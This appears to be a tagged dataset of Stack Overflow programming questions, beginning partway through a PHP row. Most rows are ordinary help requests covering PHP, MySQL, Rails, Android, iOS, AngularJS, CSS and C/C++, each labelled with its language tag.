];               $flag=$row1[ flag ];               date_default_timezone_set( asia/kolkata );               $current_time=date( y/m/d h:i:s );               //echo  $current_time    ;               $current_time=strtotime($current_time);                $timestamp=strtotime($blockedtime)+1*1*60;               $collect_time=date( y/m/d h:i:s  $timestamp);               //echo  $collect_time  ;               $collect_time=strtotime($collect_time);               //echo  $flag ;               $difference=$collect_time-$current_time;               $days=floor($difference/86400);               $difference=($difference%86400);               $hrs=floor($difference/3600);               $difference=($difference%3600);               $mins=floor($difference/60);               $difference=($difference%60);               $seconds=floor($difference);               if($days&lt;=0&amp;&amp;$hrs&lt;=0&amp;&amp;$mins&lt;=0&amp;&amp;$seconds&lt;=0){                 if($flag==1){                     $upd= update books set quantity=quantity+ $quant  where code= $resbook   ;                     mysqli_query($con $upd);                     $flag=0;                     $upd2= update blockinfo set flag=0 where book= $resbook  and user= $user  and blockedtime= $blockedtime  ;                     mysqli_query($con $upd2);                 }                 if($flag==2){                     $del= delete from blockinfo where book= $resbook  and user= $user  and blockedtime= $blockedtime  ;                     mysqli_query($con $del);                 }               }           }       } </code></pre>,php
ruby on rails 2.3.8: params is undefined in before_filter  <pre><code>  before_filter :only =&gt; :destroy do |controller|        controller.is_object_on_same_account_as_current_account_for_id (controller_name.classify.constantize  params[:id])   end </code></pre>   generates error:   <pre><code>nameerror: undefined local variable or method `params    app/controller/controller:4 </code></pre>   i thought params was always available throughout the request process... =\,ruby-on-rails
what will be the difference in output of these 2 mysql queries  there is a column salary in a table employee. the following two statements are giving different outputs. what may be the possible reason     <strong>query 1</strong>   <pre><code>select count(*) from employee; </code></pre>   <strong>query 2</strong>   <pre><code>select count(salary) from employee; </code></pre>   this question asked in exam but i am not getting any difference even if i left salary of 1 employee blank,mysql
how can i have a random image selected from a set list of images   hi and thanks for helping. i simply just want to randomize what image shows up so that there is a different one displaying every time. here is my code  and the images i want to add to get randomized are for instance  tutorial2.png  and  tutorial3.png    <pre><code>self.help=[ccsprite spritewithfile:@ tutorial.png ];     self.help.position=ccp(ws.width/2 ws.height*4/4/2);     [self addchild:self.help]; </code></pre>   thanks again!,objective-c
javascript prototype constructor confusion <pre><code>function test() {     this.name =  test name ; }   console.log(test.prototype.constructor.prototype.constructor); </code></pre>   i can t understand why is this a infinite chain of <code>constructor</code> - <code>prototype</code>     i mean which are the purpose of this chain and why there is no end  the prototype has a constructor and the constructor has a prototype  its a loop-chain  and the constructor everytime is the same  can t imagine...,javascript
ios: running a method from an ibaction  what i have is an iphone app that populates a uipickerview with an array.  i have two arrays.  one of which has troops in it  another has a corresponding ip address in it for each troop.  i have my pickerview method written but i cannot figure out how to execute the pickerview method via ibaction.  here is what i have.    the button on my app:   <pre><code>-(ibaction)btnconnect:(id)sender {  } </code></pre>   the method i m trying to get the button to perform:   <pre><code>-(void)pickerview:(uipickerview *)pickerview didselectrow:(nsinteger)row incomponent:         (nsinteger)component {     nsstring *populatetroops = [troops objectatindex:row];     nsstring *populateurls = [urlarray objectatindex:row];     nsstring *pathcomponentstring = [nsstring stringwithformat:@ %@%@/radiofeed.mp3      populatetroops  populateurls];     myfeed.scalespagetofit = yes;     [myfeed loadrequest:[nsurlrequest requestwithurl:[nsurl fileurlwithpath:[[[nsbundle    mainbundle] resourcepath]                                                                              stringbyappendingpathcomponent:pathcomponentstring]]]]; } </code></pre>   can someone please help me   when the user clicks the button depending on what they have selected in the pickerview they will be sent to the proper url assigned to the troop.  i have the webview  pickerview and button in the .xib file.  upon compile i have no errors of any sort.  thanks.,ios
possibility to block datatraffic  situation: android radio uses my mobile hotspot (android). but google play on the android radio downloads the updates because it s on wi-fi.    question: is it possible to block data traffic for a specific app when connected to a specific wi-fi ssid  do i have to build my own app  or is there an existing one     info: both not rooted and i was not going to root it. i already turned on the switch in  network restrictions  but than you need to set a maximum data limit on cellular. but that option is not visible because my radio hasn t cellular,android
objective c general print  does objective c have a general print command like python  nslog seems to log it rather than print out to console. printf only accepts specific types.,objective-c
what is the data/data/package.name/lib folder for  unlike other app-folders like <em>cache  shared_prefs </em>and<em> databases</em>  that are only created when first needed  <em>lib</em> is always present but so far always empty. what is this folder for,android
get current background  i want to get the current background to do a condition base on it. for example  i have a xml with a next arrow  if the background=r.drawable.a  i want to change the background to r.drawable.b when next button is pressed.    i defined my relative layout as follows :   <pre><code>final relativelayout rl = (relativelayout) findviewbyid(r.id.mylayout);  if (rl.getbackground()== r.drawable.a){ //here the error         rl.setbackgroundresource(r.drawable.b);                 } </code></pre>   the error is : incompatible operands types int and drawable. if there a way to get the current background and base on it do something,android
can i use core data and sqlite3 in a single application ios  currently i m working on a project where i need to use coredata (i know that coredata internally uses sqlite). in the future i need to merge this project with my existing project where i used sqlite. so  would it be a problem while i merge this project which uses core data and the previous project which i was using sqlite3 into one single application. any help is appreciated.,ios
how to remove slash from image ng-src url   i get an error 400 from the images server provider because the request include slash in the end of the image url   <pre><code>    &lt;div class= footer accordian  ng-hide= photosslider &gt;     &lt;ul&gt;         &lt;li ng-repeat= item in items &gt;             &lt;div class= image_title &gt;                 &lt;a href= # &gt;kungfu panda&lt;/a&gt;             &lt;/div&gt;             &lt;a href= # &gt;                 &lt;img ng-src={{item.img}}/&gt;             &lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/div&gt; </code></pre>   the items array  holds images url without slash in the tail of the url <a href= https://i.stack.imgur.com/igxc2.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/igxc2.png  alt= enter image description here ></a>    when angular send request for the image somehow slash added to the url <a href= https://i.stack.imgur.com/7pyxm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7pyxm.png  alt= enter image description here ></a>    any idea why the slash added and how to remove,angularjs
how do i get the first value of multiple records  (mysql)  there are two tables  one is  users  and another one is  screenings  a user can have multiple records in screenings. i need to get the date of the earliest records from one s multiple screening record. and see if the earliest record of one s screening has been 30 days since now. how do i do that     i got a query like this:   <pre><code>   select users.id as user_id  users.first_name  users.last_name  clients.name as client       users.social_security_number as ssn  users.hiredate        screening.id as screening_id  screening.date as screening_date  screening.maileddate as screening_maileddate     from users       inner join clients     on(        users.client_id = clients.id        and users.client_id =  1879         )     left join screening     on(        users.id = screening.user_id     )     where      (users.hiredate between  2011-01-01  and  2011-08-14      or users.hiredate is null)     and users.id in(             select users.id from users     inner join screening sall     on(       sall.user_id = users.id      )     inner join screening s1     on(       s1.user_id = users.id        and s1.date between  2011-05-15  and  2011-11-15      )      inner join screening s2     on(       s2.user_id = users.id        and s2.date between  2011-05-15  and  2011-11-15      )      inner join screening s3     on(       s3.user_id = users.id        and s3.date between  2011-05-15  and  2011-11-15      )     inner join screening s4      on(       s4.user_id = users.id        and s4.date between  2011-05-15  and  2011-11-15      )     inner join screening s5     on(       s5.user_id = users.id        and s5.date between  2011-05-15  and  2011-11-15     )     inner join screening s6     on(       s6.user_id = users.id        and s6.date between  2011-05-15  and  2011-11-15     )    where (s1.cholesterol is not null    and s2.ldl is not null    and s3.triglycerides is not null)    and (s4.glucose is not null     or s5.ha1c is not null)   )      group by users.id </code></pre>,mysql
char() or varchar() as primary key in an isam mysql table   i need a simple table with a user name and password field in mysql. since user names must be unique  it makes sense to me to make them the primary key.    is it better to use char() or varchar() as a primary key,mysql
how to add node to front of linked list c++  i m overthinking the concept  i m trying to add a node to the front of my linked list in c++. i have developed code for adding to the end of the list  which is easier for my brain to comprehend than the latter. here is my code: <br> <br> <strong>the class</strong><br>   <pre><code> struct listnode     {        double value;        listnode *next;        listnode(double value1  listnode *next1 = null)        {           value = value1;           next = next1;        }           };     listnode *head;                   // list head pointer </code></pre>   <br><strong>the function that adds to the end of the list</strong>   <pre><code>void linkedlist::add(double number) {    if (head == null)       head = new listnode(number);    else      {        // the list is not empty        // use nodeptr to traverse the list        listnode *nodeptr = head;        while (nodeptr-&gt;next != null)           nodeptr = nodeptr-&gt;next;         // nodeptr-&gt;next is null so nodeptr points to the last node        // create a new node and put it after the last node        nodeptr-&gt;next = new listnode(number);      } } </code></pre>   i m just having a lot of trouble wrapping my head around moving all the pointers around for adding to the beginning.    thanks.,c++
is it possible to avoid global variables in a strictly procedural program   being a developer born and raised on oo  i was curious to hear how it s possible to avoid global state in a procedural program.,c
where to put media query in css file  i want to ask that do we have to put media query after the original css style     if i put media query before original style  it does not work.   <pre><code>media screen and (max-width: 760px){     #logo_bar img#logo_image {         display: block;         margin: 5px auto 0px auto;         background-color: #c0c0c0;         float: none;     }      #logo_bar form.search_wrapper{         width: 65%;         margin: 15px auto 0px auto;         padding: 0px 0px 0px 0px;         float: none;     } }  #logo_bar img#logo_image {     width: 218px;     height: 78px;     margin-top: 33px;     background-color: #c0c0c0;     float: left; }  #logo_bar form.search_wrapper{     width: 55%;     height: 30px;     margin-top: 58px;     float: right;     padding: 0px 0px 0px 0px; } </code></pre>   but  if i put media query after the original style  it works and change the sytle.   <pre><code>#logo_bar img#logo_image {     width: 218px;     height: 78px;     margin-top: 33px;     background-color: #c0c0c0;     float: left; }  #logo_bar form.search_wrapper{     width: 55%;     height: 30px;     margin-top: 58px;     float: right;     padding: 0px 0px 0px 0px; }  media screen and (max-width: 760px){     #logo_bar img#logo_image {         display: block;         margin: 5px auto 0px auto;         background-color: #c0c0c0;         float: none;     }      #logo_bar form.search_wrapper{         width: 65%;         margin: 15px auto 0px auto;         padding: 0px 0px 0px 0px;         float: none;     } } </code></pre>,css
images inside div keep moving <pre><code>&lt;div style= banner  top:0; align= center  position: absolute; z-index: 1; visibility: show;&gt; &lt;img src= banner.jpg  /&gt;&lt;/div&gt; &lt;div style= buttons  align= center  top:200; left:85; position: fixed; z-index: 1; visibility: show;&gt; &lt;img src= homebutton.jpg /&gt;&lt;img src= aboutbutton.jpg  /&gt;&lt;img src= missionbutton.jpg  /&gt;&lt;img src= contactbutton.jpg  /&gt;&lt;img src= pricingbutton.jpg  /&gt;&lt;/div&gt; &lt;div style= pics  align= center  top:370; position: fixed; z-index: 1; visibility: show;&gt; &lt;img src= inrepair.jpg  /&gt;&lt;img src= homeoffice.jpg  /&gt;&lt;img src= onsite.jpg  /&gt;&lt;/div&gt; &lt;div style= pics2  align= center  top=711; position: fixed; z-index: 1; visibility: show;&gt; &lt;img src= computers.jpg  /&gt;&lt;img src= networking.jpg  alt= networking /&gt;&lt;img src= games.jpg /&gt;&lt;/div&gt; </code></pre>   the combined width of my images are 1024px. as soon as i drop the browser size below 1024px width all the images other than the banner start to stack on top of each other. i want them to just hide what cannot be shown like the banner is already doing. what can i do to fix this  i m sure theres a very easy solution  but i m pretty bad at html.,html
how to create array of ng- models  i am developing website using angularjs. in app i need to create dynamic select boxes having same model name. code is given below    <h2>html code</h2>  <pre><code>&lt;tr ng-repeat= results in result &gt;     &lt;td&gt;{{results.domain}}&lt;/td&gt;     &lt;td&gt;{{results.status}}&lt;/td&gt;     &lt;td&gt;         &lt;select ng-model= price[$index]  class= form-control  name= price  ng-options= price.dp_id as price.title for price in results.price &gt; &lt;/select&gt;     &lt;/td&gt; &lt;/tr&gt; </code></pre>  <hr>  <h2>angularjs code</h2>  <pre><code>app.controller( site   function($scope $http) {     $scope.selectedperson = 0;     $scope.urlname =  alankar12 ;     $scope.domainext =   ;     $scope.showresult=false;     $scope.result = {};     $scope.price=[];       $scope.checkdomain = function() {            $http({             method:  post               url:  http://localhost/domain/index.php r=site/checkdomain               data:{urlname:$scope.urlname domainext:$scope.domainext}          }).success(function(data  status  headers  config) {             $scope.domainext=data;             $scope.result=data.records;             $scope.showresult=true;             //$scope.price=data.price;             console.log(data.price);         }).error(function(data  status  headers  config) {          });      }; //end checkdomain function      $scope.adddomain = function() {          console.log($scope.price);     } }); </code></pre>  <hr>  <h2>json response</h2>  <pre><code>{      response :  successful        status :  200        records : [{          domain :  .com            status :  available            price : [{              title :  1 year@600                price :  600.00          }  {              title :  2 year @1150                price :  1150.00          }]     }  {          domain :  .co.in            status :  available            price : [{              title :  1 year@700                price :  700.00          }  {              title :  2 year @1350                price :  1350.00          }]     }  {          domain :  .in            status :  available            price : [{              title :  1 year@660                price :  660.00          }  {              title :  2 year @1350                price :  1350.00          }]     }  {          domain :  .org            status :  available            price : [{              title :  1 year@500                price :  500.00          }]     }  {          domain :  .au.in            status :  available            price : [{              title :  1 year 600                price :  600.00          }]     }  {          domain :  .au            status :  available            price : [{              title :  1 year@500                price :  500.00          }]     }] } </code></pre>  <hr>   here every domain name has multiple prices  issue that i am facing   i am unable to get the value of price in model.      please anyone help me to resolve issue,angularjs
best way to concisely store frequently used methods  i have worked on quite a few projects in the past where i ve used the same types of methods in several different classes. here s a quick example:   <pre><code>public class classa {      ...      public int methoda(){      }      ...  }  public class classb {      ...      public int methoda(){         ...     }      ...  } </code></pre>   i may have several classes that want to use this method  and they may not necessarily follow the same structure  so an interface shouldn t be used.    what would be the best way to store this method in java so that i don t have to write it out in every single class and waste precious lines  i have thought about having a class to store these helper methods  but i may have quite a few methods that are shared between classes  so i m just trying to find the nicest way to do it.,java
how to write array into plist   i have plist structure defined in resources folder. i want to write array into that plist programmatically. how i ll do that    .. i went through many post on stackoverflow and on other  but didn t find helpful. plz help,objective-c
using a logical not  !  versus not using it  i have a function that reads lines from a file and stores each string in each line in a vector.   <pre><code>void openf(std::string s) { std::string line; std::string b; std::ifstream in; in.open(s); std::vector&lt;std::string&gt; vec; if(in.is_open()) {     std::cout &lt;&lt;  file is open\n  &lt;&lt; std::endl;     while(std::getline(in line)) {         for(decltype(line.size()) i = 0; i != line.size(); ++i) {             if(isspace(line[i]) || ispunct(line[i])) {                 vec.push_back(b);                 b =   ;             }             else {                 b += line[i];             }         }     } } for(auto a:vec)     std::cout &lt;&lt; a &lt;&lt; std::endl; in.close(); } </code></pre>   this works.    but if instead i do this   <pre><code>if(!isspace(line[i]) || !ispunct(line[i])) {     b += line[i]; } else {     vec.push_back(b);     b =   ; } </code></pre>   nothing prints.    if i don t have the logical or statements  and just use !isspace and !ispunct individually the program behaves as it expects in the respective cases.    i don t think i am required but i also tried putting () around each operator so it wouldn t interfere with the other each other. still won t work.    it seems like the same code. why won t it work in one case and while it works in another,c++
initialize subview and exception  i have a uicollectionview cell that try to initialize a custom subview but giving me error.   <pre><code>     //in init  - (id)initwithframe:(cgrect)frame     detailsubview *view=[[detailsubview alloc]initwithframe:cgrectzero];     self.contentview=view;---&gt; error      //.h file     @property   (strong  nonatomic) detailsubview          *contentview; </code></pre>   error    [detailcustomcell setcontentview:]: unrecognized selector sent to instance 0xe48a090,ios
how to add 1 pure html in another html  i am having 1 pure html page for ex. sample.html. i need to include this html into another pure html for ex.orginal.html.how to do this  i am having a header image in my sample.html.it should come at the top of the orginal.html page.,html
jquery allow only numbers and fullstop <pre><code> &lt;script type= text/javascript &gt;          $(document).ready(function () {              $( .qty ).keydown(function (event) {                  // allow: backspace  delete  tab  escape  and enter                  if (event.keycode == 46 || event.keycode == 8 || event.keycode == 9 || event.keycode == 27 || event.keycode == 13 ||                      // allow: ctrl+a                      (event.keycode == 65 &amp;&amp; event.ctrlkey === true) ||                      // allow: home  end  left  right                      (event.keycode &gt;= 35 &amp;&amp; event.keycode &lt;= 39)) {                      // let it happen  don t do anything                      return;                  }                  else {                      // ensure that it is a number and stop the keypress                      if (event.shiftkey || (event.keycode &lt; 48 || event.keycode &gt; 57) &amp;&amp; (event.keycode &lt; 96 || event.keycode &gt; 105)) {                          event.preventdefault();                      }                  }              });          });  &lt;/script&gt; </code></pre>   the above code accepts only numbers  i would like to accept numbers and fullstop(.)    isn t keycode for . 46,jquery
filter not working on multiple elements  i am using filter in the following way   <pre><code>$( body div header ).find( * ).addback().contents().filter(function(){     console.log(this.nodetype);     return this.nodetype === 3; }).each(function() {     $(this).parent().html(this.nodevalue.replace(/abc/g   &lt;span class= abc &gt;abc&lt;/span&gt; )); }) </code></pre>   but this doesn t work as it does not add the class to the matched words. <a href= http://jsfiddle.net/hreyc/3/  rel= nofollow >http://jsfiddle.net/hreyc/3/</a>    what could be wrong  how can i make this case-insensitive,jquery
maximum call stack size exceeded in angularjs  when i try use | filter:searchtext  i try to filter data using <code>|filter</code> in the ng-repeat directive.   <pre><code> ng-repeat= item in transactions |filter:searchtext  </code></pre>   <strong>transactions</strong> is array with data  which looks like this:   <pre><code>{ $$hashkey:  object:666   amount: -50  card:  3158   catid: 0  datetime: {month: 2  value:  2015-02-23t14:00:00 } details:  blabla   id: 2830  } </code></pre>   <strong>searchtext</strong> - is text which inputted by user.    it has to filter data when user inputs text  but it doesn t work because it throws exception(maximum call stack size exceeded). it normally works if definitely to write what kind of fields you want to use to filter data.   <pre><code>ng-repeat= item in transactions |filter:{amount:searchtext}  </code></pre>,angularjs
neither nor statement in python  i want to combine the following two lists except the combination 1a.    <pre><code>a=[1 2 3 4 5 6 7 8 9] b=[ a    b    c   d    e   f   g ] c=[]  for i in a:     for j in b:         if i is not 1 and j is not a :             c.append(str(i) + j)  print c </code></pre>   this excludes every combination with 1 and  a . how can i only exclude 1a,python
can we make class that contain main method anonymous  below is example of anonymous inner class in this we make anonymous class with a      <pre><code>class a {     void one()     {         system.out.println( hello );     } }  class one {     public static void main(string args[])     {         new a()         {             void five()             {                 one();             }         }.five();     } } </code></pre>   my question is can we make class <code>one</code> as anonymous (not its inner anonymous class) i.e. simply class that contain <b>public static void main</b> method.,java
loading screen for asp.net  i realize that there are many threads already posted that deal with this very question and i have looked threw alot of them and tried many different approaches to my problem. unfortunately i can t get any of them to work for my specific situation. so here goes     im working in visual studios 2010 using c# and asp.net. i have already developed a web site as an internal tool for my department to track employee metrics. the program works by hitting medium sized sql databases via stored procedures and then does some minor calculations and displays the data in a variety of ways including asp:charts  repeaters  and other tables. the program allows for the user to select the date range for which they wish to view the metrics. obviously as the range increases so does the hang time the user experiences. i ve been attempting to create a load screen that will show anytime the pages post back to the server. my initial thought was to use css and a div with a loading gif that is show when the page load event is triggered however i can t seem to get the thing to work properly. i ve read/seen many examples of jquery and ajax but have no experience with either. i ve tried    <pre><code> $(document).ready(function () {  $( #loadgif ).hide();  });  &lt;img id= loadgif  runat= server  src= img/loading.gif  alt= please wait while the site information is updated  /&gt; </code></pre>   and    <pre><code> document.getelementbyid( loading ).classname =  loading-visible ;  var hidediv = function () { document.getelementbyid( loading ).classname =  loading- invisible ; };  var oldload = window.onload;  var newload = oldload   function(){hidediv.call(this);oldload.call(this);} : hidediv;  window.onload = newload;      &lt;div id= loading  class= loading-invisible &gt; &lt;img id= loadgif  runat= server  src= img/loading.gif  alt= please wait while the site information is updated  /&gt; &lt;/div&gt; </code></pre>   and a few other techniques. clearly i m failing to understand how to properly use these techniques. all i want is to have a loading screen show while the page is loading the data so the user knows their request is being processed. any help would be greatly appreciated  thanks    sorry here is css:   <pre><code>      /*--------------------==================loading screen=================----------------  -*/   /*this is what we want the div to look like    when it is not showing*/    div.loading-invisible   {    /*make invisible*/     display:none;   }  /*this is what we want the div to look like   when it is showing*/ div.loading-visible { /*make visible*/ display:block;  /*position it 200px down the screen*/ position:absolute; top:200px; left:0; width:100%; text-align:center;    /*in supporting browsers  make it     a little transparent*/   background:#fff;   filter: alpha(opacity=75); /* internet explorer */   -khtml-opacity: 0.75;      /* khtml  old safari */  -moz-opacity: 0.75;       /* mozilla  netscape */    opacity: 0.75;           /* fx  safari  opera */   border-top:1px solid #ddd;   border-bottom:1px solid #ddd; }   /*---------------- another loading screen attempt with ajax---------*/  #updateprogress {  background-color:#cf4342;  color:#fff;  top:0px;  right:0px;  width:100%;  position:fixed; }  #updateprogress img  {   vertical-align:middle;   margin:2px; }    /*---------------- another loading screen attempt with jquery---------*/    div#spinner   {     display: none;     width:100px;     height: 100px;     position: fixed;     top: 50%;     left: 50%;     background:url(loading.gif) no-repeat center #fff;     text-align:center;     padding:10px;     font:normal 16px tahoma  geneva  sans-serif;     border:1px solid #666;     margin-left: -50px;     margin-top: -50px;     z-index:2;     overflow: auto; } </code></pre>,asp.net
open registry as write if administrator  otherwise open as read  i am building an application that depends on some settings being stored in the registry to work (specifically a <a href= https://msdn.microsoft.com/en-us/library/aa767914%28vs.85%29.aspx f=255&amp;mspperror=-2147217396  rel= nofollow noreferrer >uri scheme</a>). i would like the application to test that all the required keys and values are in place every time it loads  and if not  fix them. however  this requires that i open a small tree of subkeys as read access most of the time and write access sometimes and i cannot work out the best way to do this without just creating two access trees  one for read and one for write  which i do not want to do because it is just duplicated code. i am wondering if anyone has any suggestions on the best way to solve this  i have never used linq or lambda to know if there is someway these be used to put an if statement in each using somehow for example.    i have tried experimenting with the registrykeypermissioncheck enumeration but unfortunately it does not do what i want. currently my code looks like this:    <pre><code>    using (shellkey = rootkey.opensubkey(shellstring  registrykeypermissioncheck.readwritesubtree)) {     if (!uritestkey(rootkey  shellkey  shellstring))         return false;     else     {         using (openkey = shellkey.opensubkey(openstring  registrykeypermissioncheck.readwritesubtree))         {             if (!uritestkey(shellkey  openkey  openstring))                 return false;             else             {                 using (commandkey = openkey.opensubkey(commandstring  registrykeypermissioncheck.readwritesubtree))                 {                     if (!uritestkey(openkey  commandkey  commandstring))                         return false;                     else                     {                         string exepath = system.io.path.getdirectoryname(system.reflection.assembly.getentryassembly().location);                         string commanddefaultstring =  \   + exepath +  \  \ %1\  ;                         if (!uritestvalue(commandkey      commanddefaultstring   command key default value ))                             return false;                     }                 }             }         }     } } </code></pre>,c#
php - filter_input() expects parameter 3 to be long  string given  i am developing a php site for someone  it works perfectly fine locally on my own webserver. i pushed it to the remote host and now i get:   <blockquote>    <b>warning</b>:  filter_input() expects parameter 3 to be long  string   given  </blockquote>   at this code:   <pre><code>&lt;script type= text/javascript &gt;      &lt; php          $page = filter_input(input_get   page   filter_sanitize_full_special_chars);          if (isset($page)) {             echo  var page =  $page ; ;         } else {             echo  var page =  home.html ; ;         }      &gt; &lt;/script&gt; </code></pre>   this happens with the code if the page loads:   <pre><code>&lt;script type= text/javascript &gt;      &lt;br /&gt; &lt;b&gt;warning&lt;/b&gt;:  filter_input() expects parameter 3 to be long  string given in &lt;b&gt;/home/kraeuterelfe-de/htdocs/neueseite/index.php&lt;/b&gt; on line &lt;b&gt;68&lt;/b&gt;&lt;br /&gt; var page =  home.html ;    &lt;/script&gt;  &lt;script src= js/main.js &gt;&lt;/script&gt; </code></pre>   i don t know why it throws this error  since <code>filter_sanitize_full_special_chars</code> is not a string.    my local webserver runs <code>php 7.1.1</code> while the remote webserver runs 5.2.6,php
query the appstore   how do sites like apptism and appbeacon build their list of apps from the appstore   is there some way to query the store and get information such as title  author  ratings  etc.,iphone
self-join a table to merge multiple rows in to one row  i am very new to sql and never did anything complex like this. any help would be appreciated.    i have following data in the table:   <pre><code>id - tag 1  - u 1  - n 1  - u 1  - n 1  - u </code></pre>   my output needs to be   <pre><code>id - u  - n 1  - 3  - 2 </code></pre>   basically my output needs to count n s and u s for the id and produce a single row for that id.    thanks for your time.,sql
ldap authentication always returning true  im following a tutorial online (http://my.opera.com/learnror/blog/ldap-binding-and-authentication-ror) to setup authentication against an ldap active directory (have a pretty tough time with it too). anyway  i got the login form and everything setup but for some reason  no matter what i type into the form  (even wrong/nonexistent credentials)  it comes back as true! can anyone help     or can anyone provide away to have some sort of debugger run the code line by line (like done with jaavscript debugger). heres the code that authenticates the login form: (the ldap module is in a separate lib file):   <pre><code>def authenticate if session[:person] = ldap.authenticate(params[:login][:name]  params[:login][:p assword]) session[:username] = params[:login][:name]  if session[:return_to] redirect_to(session[:return_to]) session[:return_to] = nil else redirect_to :controller =&gt;  login    :action =&gt;  index  end else flash[:notice] =  login failed!  redirect_to :action =&gt;  index  end </code></pre>,ruby-on-rails
rails fastcsv import function  the current model code in my rails application uses  text  as key  and then updates or creates a new row depending on weather it is a duplicate or not. i am looking for a replacement code that should import all lines into the database (so no need for using text as a key  dublicate content is accepted). anyone who know how to do this      <strong>routes.rb</strong>   <pre><code>myapp::application.routes.draw do  resources :users do member do   get :following  :followers end end resources :sessions         only: [:new  :create  :destroy] resources :microposts       only: [:create  :destroy] resources :relationships    only: [:create  :destroy] resources :password_resets resources :banklines        only: [:create  :destroy] resources :booklines        only: [:create  :destroy]  root to:  static_pages#app   post   /upload_booklines    to:  booklines#upload_booklines  match  /board               to:  static_pages#home  match  /signup              to:  users#new  match  /signin              to:  sessions#new  match  /signout             to:  sessions#destroy   via: :delete match  /help                to:  static_pages#help  match  /about               to:  static_pages#about  match  /contact             to:  static_pages#contact  </code></pre>   <strong>controllers/booklines_controller.rb</strong>   <pre><code>class booklinescontroller &lt; applicationcontroller  require  csv   def upload_booklines  if request.post  &amp;&amp; params[:file].present    infile = params[:file].read   n  errs = 0  []    csv.parse(infile) do |row|     n += 1     next if n == 1 or row.join.blank      @bookline = current_user.booklines.build_from_csv(row)     if @bookline.valid        @bookline.save     else       errs &lt;&lt; row     end   end   redirect_to root_path   end end </code></pre>   <strong>models/bookline.rb</strong>   <pre><code>class bookline &lt; activerecord::base attr_accessible :amount  :appendix_number  :date  :text  belongs_to :user  dependent: :destroy      scope :active  where(:active =&gt; true)     scope :latest  order( created_at desc )    def self.build_from_csv(row)     bookline = find_or_initialize_by_text(row[1])     bookline.attributes ={:date =&gt; row[0]  :amount =&gt; row[2]  :appendix_number =&gt; row[3]}   return bookline   end end </code></pre>   <strong>views/static_pages/app.html.erb</strong>   <pre><code>&lt;%= form_tag( upload_booklines   :multipart =&gt; true) do %&gt;   &lt;p&gt;      file:&lt;br /&gt;      &lt;%= file_field_tag  file  %&gt;&lt;br /&gt;    &lt;/p&gt;  &lt;p&gt;    &lt;%= submit_tag  upload  %&gt;  &lt;/p&gt; &lt;% end %&gt; </code></pre>,ruby-on-rails
how deal with atomicity situation  hi imagine i have such code:   <pre><code>0. void somefunction() 1. {  2.  ... 3.  if(x&gt;5) 4.    dosmth(); 5.  6.   writedatatocard(handle  data1); 7.  8.   writedatatocard(handle  data2); 9. 10.  incrementdataoncard(handle  data); 11. } </code></pre>   the thing is following. if step 6 &amp; 8 gets executed  and then someone say removes the card - then operation 10 will not be completed successfully. but this will be a bug in my system. meaning if 6 &amp; 8 are executed then 10 must also be executed. how to deal with such situations     <strong>quick summary</strong>: what i mean is say after step 8 someone may remove my physical card  which means that step 10 will never be reached  and that will cause a problem in my system. namely card will be initialized with incomplete data.,c++
dividing page into two sections  i have the below html code. what i need to do is split wuiinpagenav into two sections. leftarea and wuimainpagenav and they need to be side by side all the time. leftare div will hold my jstree nodes and wauimainpagenave div will hold my charts and data etc. when i do the following  left goes left and wuimainpagenav goes to the right. but when i resize the browser window  make it smaller  wuimainpagenave goes down to the botttom. how do i make sure that leftarea is always on the left and wuimainpagename is always on the right  regardles of the browser window and size missing here. any ideas    <pre><code>div id= wuileftarea &gt;         &lt;div id= wuilefthandnavroot &gt;             &lt;h2 class= wui-hidden &gt;section navigation&lt;/h2&gt;             &lt;h3 class= wui-navigation-title &gt;applicaion&lt;/h3&gt;             &lt;div id=tree&gt;&lt;/div&gt;         &lt;/div&gt; &lt;/div&gt;   &lt;div id=wuimainarea&gt;     &lt;div id=wuimaincontent&gt;         &lt;div id=wuiinpagenav&gt;                  &lt;div id= top_chart  class= center &gt; &lt;/div&gt;          &lt;/div&gt;     &lt;/div&gt;  &lt;/div&gt; </code></pre>   css:   <pre><code>#wuiinpagenav {left:300px; float:right; width:1200px !important; overflow:hidden; } div#wuileftarea{     float: left;     width: 16.25em;     background-color: #f2f4f5;      padding-top: .5833em;      position: relative; } </code></pre>,html
how to change a anchor point of uibutton in [uiview animate]   i m trying to change a anchor point to (0 0) (it s not center.) of uibutton and rotate.    how to change a anchor point of uibutton    <pre><code>mybutton.anchorpoint  = cgpointmake(0  0); &lt;= how to change  [uiview animatewithduration:5.0 animations:^{     mybutton.transform = cgaffinetransformmakerotation(180 * m_pi / 180); }]; </code></pre>,objective-c
getelementsbytagname only get top level tags   i have this really weired js problem.    in summary  i get a element not found if i use <code>(document.getelementsbytagname( p ))[0]</code>    and if the <code>p</code> tag is inside a <code>div</code> like this   <pre><code>&lt;div id= main &gt; &lt;p&gt;see&lt;/p&gt; &lt;/div&gt; </code></pre>   but as soon as i remove the div wrapper  all things work.    after 30 min  i ve reduced the problem to this simple code:   <pre><code>&lt;!doctype html public  -//w3c//dtd html 4.01 transitional//en   http://www.w3.org/tr/html4/loose.dtd &gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8 &gt; &lt;title&gt;ttttttttttttttttttttt&lt;/title&gt; &lt;/head&gt; &lt;body&gt;  &lt;div id= main &gt; &lt;p&gt;see&lt;/p&gt; &lt;/div&gt;  &lt;script type= text/javascript &gt; var myobj = document.createelement( div ); myobj.innerhtml= yesyes ;  document.body.insertbefore(myobj  (document.getelementsbytagname( p ))[0] ); &lt;/script&gt;  &lt;/body&gt; &lt;/html&gt; </code></pre>   put above in a file. open in firefox or chrome or ie8. if successful  you should see “yesyes”. if you remove the <code>&lt;div id= main &gt;</code> wrapper  then it works.    it seems there something i m not understanding about <code>getelementsbytagname</code>,javascript
how to access char array using an int pointer   hi how to access character array using integer point.   <pre><code>char arr[10] = { 1   2   3   4   5   6   7   8   9   10 }; int *ptr; </code></pre>   how i can print values of  arr  using pointer ptr,c
